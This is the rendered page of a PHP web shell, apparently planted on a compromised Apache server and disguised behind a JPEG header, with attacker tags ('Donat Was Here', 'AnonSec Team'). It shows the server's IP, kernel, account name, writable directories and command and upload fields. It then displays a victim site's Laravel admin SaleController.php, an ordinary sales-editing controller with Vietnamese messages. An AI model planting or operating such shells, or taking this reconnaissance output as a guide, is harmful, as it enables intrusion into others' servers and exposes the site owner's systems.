JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/Admin/SaleController.php
<?php 

namespace App\Http\Controllers\Admin;



//use App\Http\Requests;

use App\Http\Requests\SaleRequest;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\Sales;

use App\Images;

use Input, File, DB;

use Validator;

use Auth;
use App\Sizes;
use App\Prices;
use App\Typematerials;


class SaleController extends Controller

{

    public function getList()

    {

        $data = Sales::all();

        

        return view('admin.sale.list', compact('data'));

    }

    public function getAdd()

    {

        $data = Sales::all();

      

        return view('admin.sale.add', compact('data'));

    }

    public function postAdd(SaleRequest $request)

    {

    

        

        $nhan = new Sales;     

        $nhan->name = $request->txtName;

        $nhan->name_eg = $request->txtName_eg;

        $nhan->pro_id = $request->pro_id;

        if($request->txtPrice!=''){

            $nhan->price = str_replace(",", "", $request->txtPrice);

        }else{

            $nhan->price =0;

        }

        if(!empty($_POST['material_id'])){

            $mate=$_POST['material_id'];

            $nhan->material_id = implode(',',$mate);

        }

        if(!empty($_POST['color_id'])){

            $color=$_POST['color_id'];

            $nhan->color_id = implode(',',$color);

        }

        if(!empty($_POST['size_id'])){

            $size=$_POST['size_id'];

            $nhan->size_id = implode(',',$size);

        }

        $nhan->save();

        

        return redirect()->route('admin.sale.index')->with('status','Thêm mới thành công !');



    

    }

    /**

     * Show the form for editing the specified resource.

     * @autho Nguyen Nhan

     * @param  int  $id

     * @return Response

     */

    public function getEdit(Request $request)

    {

        $id= $request->get('id');

       

        $data = Sales::find($id);

        $chatlieu=DB::table('materials')->select('id','name')->orderBy('id','DESC')->get();

        if(!empty($data)){

            return view('admin.sale.edit',compact('data','id','chatlieu'));

        }else{

            $data = Sales::all();

            return redirect()->route('admin.sale.index')->with('status','Dữ liệu không có thực');

        }

        

    }

    /**

     * Update the specified resource in storage.

     * @autho Nguyen Nhan

     * @param  int  $id

     * @return Response

     */

    public function update(Request $request)

    {

        $this->validate($request,

            ["txtName" => "required"],

            ["txtName.required" => "Bạn chưa nhập tiêu đề"]

        );

        $id= $request->get('id');

        

       

        

        if($id){

            $nhan = Sales::findOrFail($id);

            

           

            $nhan->name = $request->txtName;

            $nhan->name_eg = $request->txtName_eg;

            $nhan->pro_id = $request->pro_id;

            if($request->txtPrice!=''){

            $nhan->price = str_replace(",", "", $request->txtPrice);

            }else{

                $nhan->price =0;

            }

            if(!empty($_POST['material_id'])){

                $mate=$_POST['material_id'];

                $nhan->material_id = implode(',',$mate);

            }

            if(!empty($_POST['color_id'])){

                $color=$_POST['color_id'];

                $nhan->color_id = implode(',',$color);

            }

            if(!empty($_POST['size_id'])){

                $size=$_POST['size_id'];

                $nhan->size_id = implode(',',$size);

            }
            /** End add size in update **/
            
         
            if(!empty($request->tygia)){
                $arr = $request->tygia;
                $arr2 = $request->id_chatlieu;
                $arr3 = $request->id_type;
                $arr4 = $request->id_size_txt_update;
                foreach ($arr as $k=>$rows)
                {
                     @$type_mate=DB::table('typematerials')->select('id')->where('sale_id',$id)->where('chatlieu_id',$arr2[$k])->where('id',$arr3[$k])->first();
                     if(!empty($type_mate)){
                        $update=DB::table('typematerials')->select('id')
                        ->where('sale_id',$id)
                        ->where('chatlieu_id',$arr2[$k])
                        ->where('id',$arr3[$k])
                        ->update(['price' => $rows]);
                     }else{
                       $value = new Typematerials();
                       $value->price=$rows;
                       $value->sale_id=$id;
                       if(!empty($arr2[$k])){
                        $value->chatlieu_id=$arr2[$k];
                       }
                       if(!empty($arr4[$k])){
                        $value->size_id=$arr4[$k];
                       } 
                       $value->save(); 
                     }  
                       
                     
                }  
                           
            }
            if(!empty($request->price_txt_update)){
                $arr = $request->price_txt_update;
                $arr2 = $request->id_size_txt_update;
                $arr3 = $request->id_price;
                $arr4 = $request->id_chatlieu;
                foreach ($arr as $k=>$rows)
                {
                    $type_mate=DB::table('prices')->select('id')->where('sale_id',$id)->where('size_id',$arr2[$k])->where('id',$arr3[$k])->first();
                     if(!empty($type_mate)){
                        if($k == 0){
                            $update=DB::table('prices')->select('id')
                            ->where('sale_id',$id)->where('size_id',$arr2[$k])->where('id',$arr3[$k])
                            ->update(['price' => $rows,'name' => $rows]);
                        }else{
                            $update=DB::table('prices')->select('id')
                            ->where('sale_id',$id)->where('size_id',$arr2[$k])->where('id',$arr3[$k])
                            ->update(['name' => $rows]);
                        }    
                     }else{
                       $value = new Prices();
                       $value->name=$rows;
                       if($k == 0){
                        $value->price=$rows; 
                       }
                       $value->sale_id=$id;
                       if(!empty($arr2[$k])){
                       $value->size_id=$arr2[$k];
                       }
                       if(!empty($arr4[$k])){
                       $value->chatlieu_id=$arr4[$k];
                       }
                       $value->save();
                     }
                }  
                           
            }   
                     
            /** end **/
            $nhan->save();

            return redirect('admin/sale/edit?id='.$id)->with('status','Cập nhật thành công !');

            

        }else{

            return redirect('admin/sale/')->with('status','Dữ liệu không có thực');

        }

    }





    /**

     * Remove the specified resource from storage.

     * @autho Nguyen Nhan

     * @param  int  $id

     * @return Response

     */

    public function getDelete($id)

    {

       

        $nhan = Sales::findOrFail($id);

        $nhan->delete();

     

        return redirect()->route('admin.sale.index');

    }

    public function getDeleteList($id){

        $listid = explode(",",$id);

        foreach($listid as $listid_item){

             $nhan = Sales::findOrFail($listid_item);

            $nhan->delete();

            File::delete('upload/sale/'.$nhan->photo);

        }

        return redirect()->route('admin.sale.index');

    }

    

}


Anon7 - 2022
AnonSec Team